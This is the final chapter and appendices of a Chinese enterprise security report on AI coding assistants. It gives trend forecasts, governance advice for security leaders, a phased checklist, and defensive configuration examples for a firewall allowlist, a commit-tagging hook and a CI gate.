第 12 章　未来趋势与建议

12.1 技术趋势

1.Agent 自主度持续提升：从“辅助编码”到“自主工程”，攻击面将从代码层扩展到基础设施层。

2.多 Agent 协作增加：不同 Agent 之间可能相互污染上下文，形成更复杂的攻击链。

3.AI 对抗防御兴起：使用 AI 检测 AI 生成代码中的漏洞和注入，安全围栏将与攻击技术同步演进。

4.代码可信溯源标准化：AI-BOM、模型签名、提示哈希将成为供应链安全的新基线。

5.形式化验证辅助：对 AI 生成的高风险代码（加密、并发、权限控制）引入形式化验证或符号执行。

12.2 治理趋势

·监管机构将把 AI Coding 工具纳入软件供应链安全审查范围；

·企业将面临“谁对 AI 生成代码负责”的法律诉讼；

·行业将形成 AI Coding 安全基准和认证体系；

·红队测试将从模型层延伸到工具链、运行时、交付链全链路。

12.3 给 CISO/CTO 的行动建议

1.不要等待完美方案：先用 30 天完成止血和可见性，再逐步体系化。

2.把 L4/L5 作为建设重点：智能体运行时和工具扩展是当前最薄弱的环节。

3.优先保护核心代码：对核心项目采用沙箱 + 本地化模型，对通用项目采用网关 + DLP。

4.建立跨职能委员会：安全、架构、平台工程、研发效能、法务必须协同，而非安全单打独斗。

5.度量驱动：定义 KPI，每月复盘，持续优化。

6.红队常态化：每季度至少一次针对 AI Coding 场景的红队演练。

附录 A　数据来源与可信度分级

说明：可信度分级为高（官方/原始研究）、中高（知名厂商/主流媒体）、中（二手报道/行业调查）、低（社交媒体/未验证）。本报告对无法独立验证的数据进行了虚化或中可信度标注。

附录 B　术语表

附录 C　检查清单

立即行动（0—30 天）

·[ ] 发布 AI 工具使用规范

·[ ] 完成影子 AI 扫描

·[ ] 禁用高风险工具和个人账号

·[ ] 配置终端/网络 DLP

·[ ] 建立 AI 工具白名单

短期（31—90 天）

·[ ] 启用 AI 辅助提交标记

·[ ] 上线模型网关

·[ ] 核心仓库分支保护 + 增强评审

·[ ] 部署沙箱 PoC

·[ ] 开展开发者培训

中期（91—180 天）

·[ ] 规模化沙箱

·[ ] MCP 治理网关上线

·[ ] 上下文注入检测投产

·[ ] AI-BOM/SBOM 自动生成

·[ ] SIEM/SOAR 检测规则上线

长期（180 天+）

·[ ] KPI 仪表盘运行

·[ ] 季度红队演练

·[ ] 成熟度评估

·[ ] 行业情报共享

附录 D　策略配置示例

D.1 网络出向白名单（企业防火墙）

ALLOW *.githubcopilot.com          ALLOW *.openai.azure.com# 仅企业 Azure OpenAI 实例          ALLOW *.corp.internal# 内部模型网关          DENY*.cursor.sh          DENY*.anthropic.com          DENY*.claude.ai          LOG ALL

D.2 Git 提交标记钩子（pre-commit）

#!/bin/bash          # .git/hooks/pre-commit          if [ -n "$AI_AGENT_SESSION" ]; then          echo "[ai-generated] session=$AI_AGENT_SESSION" >> .ai-metadata          git add .ai-metadata          fi

D.3 CI 增强门禁（伪代码）

ai_security_gate:          only:          - merge_requests          script:          - check_ai_metadata $CI_COMMIT_SHA          - run_sast --profile=ai-assisted          - run_secret_scan --include-tests          - run_sca --verify-packages          - ai_review --model=internal-guardian --threshold=high          - generate_aibom --output=ai-bom.json          artifacts:          paths:          - ai-bom.json

附录 E　参考资源

·OWASP Top 10 for LLM Applications 2025

·OWASP Agentic AI Top 10（2026）

·NIST AI Risk Management Framework

·ISO/IEC 42001:2023 Artificial Intelligence — Management System

·NIST SSDF SP 800-218

·Veracode 2025 GenAI Code Security Report

·ReversingLabs: AWS Amazon Q AI Incident Analysis

·Aim Security / BleepingComputer: Cursor CurXecute CVE-2025-54135

·Wiz / Security Reports: Nx s1ngularity Supply Chain Attack

·工信部网络安全威胁和漏洞信息共享平台：Claude Code 风险提示

报告完。